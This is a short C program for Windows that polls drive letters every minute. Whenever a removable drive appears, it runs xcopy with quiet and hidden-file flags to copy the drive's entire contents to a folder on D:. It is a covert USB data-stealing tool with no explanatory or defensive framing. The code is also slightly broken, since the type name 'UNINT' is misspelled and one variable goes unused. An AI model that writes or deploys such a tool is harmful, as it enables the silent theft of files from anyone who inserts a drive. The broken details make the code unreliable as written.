#include<stdio.h>
#include<windows.h>

int main()
{
    while (1){
   	 char DiskName[256] = "H:\\";
    	char DiskName2[256] = "G:\\";
    	UNINT DiskType;
    	unsigned char i = 0x42;

    	for (;i<0x58; i+= 0x1){
    		DiskName[0] = i;
		DiskType = GetDriveType(DiskName);

		if (DiskType == DRIVE_REMOVABLE){
			char cmdstr[200] = {"cmd.exe /c xcopy H: d:\\udiskcopy\\ /e /y /q /h"};
			cmdstr[17] = i;
			system(cmdstr);
		}

    	}	
    	Sleep(60000);
    }
}
